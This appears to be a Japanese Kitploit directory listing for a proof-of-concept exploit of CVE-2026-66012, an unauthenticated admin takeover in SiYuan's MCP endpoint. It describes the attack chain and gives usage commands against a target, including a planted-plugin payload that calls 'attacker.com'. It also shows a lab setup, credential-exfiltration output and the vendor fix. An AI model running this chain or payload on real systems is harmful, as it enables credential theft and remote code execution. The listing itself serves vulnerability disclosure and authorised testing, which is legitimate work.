Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — CVE-2026-66012 に対する認証不要の管理者乗っ取りエクスプロイト。MCP の認可欠落を利用し、認証情報を外部へ漏えいさせてリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
認証と認可特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

CVE-2026-66012 に対する認証不要の管理者乗っ取りエクスプロイト。MCP の認可欠落を利用し、認証情報を外部へ漏えいさせてリモートコード実行を実現します。

リポジトリを見る
125日前未レビュー

CVE-2026-66012 — SiYuan MCP 未認証の管理者乗っ取り

CVE-2026-66012(CVSS 10.0 Critical)の概念実証(Proof of Concept)。SiYuan の MCP(Model Context Protocol)エンドポイントにおける認可欠落(missing-authorization)の脆弱性で、Publish サーバーが匿名モードで有効になっている場合、未認証の攻撃者が管理者権限を乗っ取り、リモートコード実行を達成できることを示します。

脆弱性の概要

フィールド値
CVECVE-2026-66012
CVSS 3.110.0 Critical
CWECWE-862 — 認可の欠落
影響を受けるバージョンSiYuan < v3.7.2
修正バージョンv3.7.2(コミット df51c2bda696)
報告者Nguyen Van Hiep(@hypnguyen1209)、MBBank

根本原因

以下の3つの欠陥が攻撃チェーンを構成します:

  1. POST /mcp は model.CheckAuth のみで登録されており、CheckAdminRole や CheckReadonly はありません。有効な JWT(Reader スコープを含む)であれば、31 個すべての MCP ツールを呼び出せます。
  2. ツールディスパッチャー(handler.go)は、呼び出し元のロールを確認せずにツールを呼び出します。
  3. Publish リバースプロキシは、Publish.Auth.Enable=false の場合にすべてのリクエストへ匿名の RoleReader JWT を注入し、認可欠落バグを未認証の脆弱性へと変換します。

攻撃チェーン

  1. Publish ポートの POST /mcp を介した MCP ハンドシェイク(資格情報なし)
  2. conf/conf.json の読み取り → accessAuthCode、api.token、cookieKey を抽出
  3. プラグインの埋め込み data/plugins/pwn/ に配置 → 次回のデスクトップ起動時に nodeIntegration:true 経由で RCE
  4. 盗んだ accessAuthCode を使用してポート 6806 で 管理者ログイン

前提条件

  • Python 3.8+
  • requests ライブラリ(pip install requests)
  • Docker 20.10+(ラボ環境構築のみ)

使用方法

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

ラボ環境の構築

許可されたテスト用のみ。 ローカルに脆弱なインスタンスをセットアップします:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

期待される出力

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

対策

SiYuan v3.7.2 以降にアップグレードしてください。修正(コミット df51c2bda696)では以下が適用されます:

  1. /mcp ルートへの CheckAdminRole + CheckReadonly ミドルウェア
  2. ファイルツールでの conf/conf.json アクセスの明示的なブロック
  3. Publish プロキシのパス許可リスト(管理者パスは匿名ユーザーに対して 401 を返す)

参考情報

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Fix commit df51c2bd
  • VulnCheck Advisory

免責事項

この PoC は、許可されたセキュリティテストおよび教育目的のみを対象としています。所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。著者は、このコードの誤用について一切の責任を負いません。

ツールをダウンロード